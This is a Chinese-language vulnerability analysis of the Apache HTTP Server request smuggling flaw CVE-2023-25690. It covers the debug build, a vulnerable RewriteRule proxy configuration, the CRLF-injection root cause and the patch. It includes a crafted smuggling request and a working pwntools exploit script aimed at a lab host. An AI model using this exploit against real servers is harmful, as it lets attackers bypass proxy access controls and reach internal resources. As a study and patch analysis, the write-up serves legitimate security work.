CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用
字数 925 2025-08-25 22:58:47
Apache HTTP Server 请求走私漏洞 CVE-2023-25690 分析与利用
漏洞描述
Apache HTTP Server 版本 2.4.0 到 2.4.55 上的某些 mod_proxy 配置允许 HTTP 请求走私攻击。当启用 mod_proxy 以及特定配置的 RewriteRule 或 ProxyPassMatch 模块时,如果规则与用户提供的URL的某些部分匹配,会因为变量替换导致代理请求目标错误。
影响版本
- 2.4.0 <= Apache HTTP Server <= 2.4.55
环境搭建
安装依赖
sudo apt-get install build-essential gdb
sudo apt-get install --no-install-recommends libapr1-dev libaprutil1-dev libpcre3-dev
下载源码
- 下载 Apache HTTP Server 2.4.55 源码: Index of /dist/httpd
- 下载 apr-1.7.2 和 apr-util-1.6.3 源码: Index of /apr
编译安装
- 编译安装 apr:
CLFAGS="-g" ./configure --prefix=/root/workspace/apache-bin/apr
make
make install
- 编译安装 apr-util:
CLFAGS="-g" ./configure --prefix=/root/workspace/apache-bin/apr-util --with-apr=/root/workspace/apache-bin/apr
make
make install
- 编译安装 httpd:
CFLAGS="-g" ./configure --prefix=/root/workspace/apache-bin/httpd --with-apr=/root/workspace/apache-bin/apr --with-apr-util=/root/workspace/apache-bin/apr-util
make
make install
远程调试配置
在 VSCode 中配置 launch.json:
{
"version": "0.2.0",
"configurations": [
{
"name": "httpd-2.4.55",
"type": "cppdbg",
"request": "launch",
"program": "/root/workspace/apache-bin/httpd/bin/httpd",
"args": ["-X", "-DFOREGROUND"],
"stopAtEntry": false,
"cwd": "/root/workspace/apache-bin/httpd",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}
漏洞分析
配置示例
在 httpd.conf 中添加以下配置:
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule rewrite_module modules/mod_rewrite.so
<VirtualHost *:8000>
ServerAdmin webmaster@localhost
ServerName localhost:8000
DocumentRoot /root/workspace/apache-bin/httpd/htdocs
LogLevel alert rewrite:trace3 proxy:trace8
ErrorLog /root/workspace/apache-bin/httpd/logs/error.log
CustomLog /root/workspace/apache-bin/httpd/logs/access.log combined
RewriteEngine on
RewriteRule "^/hello/(.*)" "http://10.122.255.252/index.php?name=$1" [P]
</VirtualHost>
漏洞原理
- 当请求 URI 匹配正则表达式时,会进行 RewriteRule 规则替换
- 替换后的请求参数
r->args会被直接拼接到请求报文中发给后端服务器 - 如果 URI 中包含控制字符(如
%0d%0a),可以造成 CRLF 注入,导致请求走私
漏洞利用
发送包含控制字符的请求:
GET /hello/abc%20qqq%0d%0aABC:%20ccc HTTP/1.1
Host: 10.7.1.16:8000
经过处理后,r->args 会被设置为 name=abc qqq\r\nABC: ccc,导致请求被拆分。
无回显走私利用
- 准备走私请求 (
pre.txt):
GET /secret HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.68.0
- 使用 Python 脚本构造攻击请求:
import urllib
from pwn import *
def request_prepare():
hexdata = open("pre.txt", "rb").read()
hexdata = hexdata.replace(b' ', b'%20')
hexdata = hexdata.replace(b'\r\n', b'%0d%0a')
uri = b'/hello/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + hexdata + b'GET%20/flag.txt'
req = b'''GET %b HTTP/1.1\r
Host: 10.7.1.16:8000\r
\r
''' % uri
return req
def send_and_recive(req):
rec = b''
ip = '10.7.1.16'
port = 8000
p = remote(ip, int(port))
p.send(req)
rec += p.recv()
print(rec.decode())
p.close()
return rec.decode()
req = request_prepare()
print(req)
res = send_and_recive(req)
修复分析
修复补丁 d78a166 主要做了以下修改:
- 在 mod_rewrite 中对
r->args进行判断,如果是控制字符则会报错 - 在 mod_proxy 的几个模块中也进行相同的判断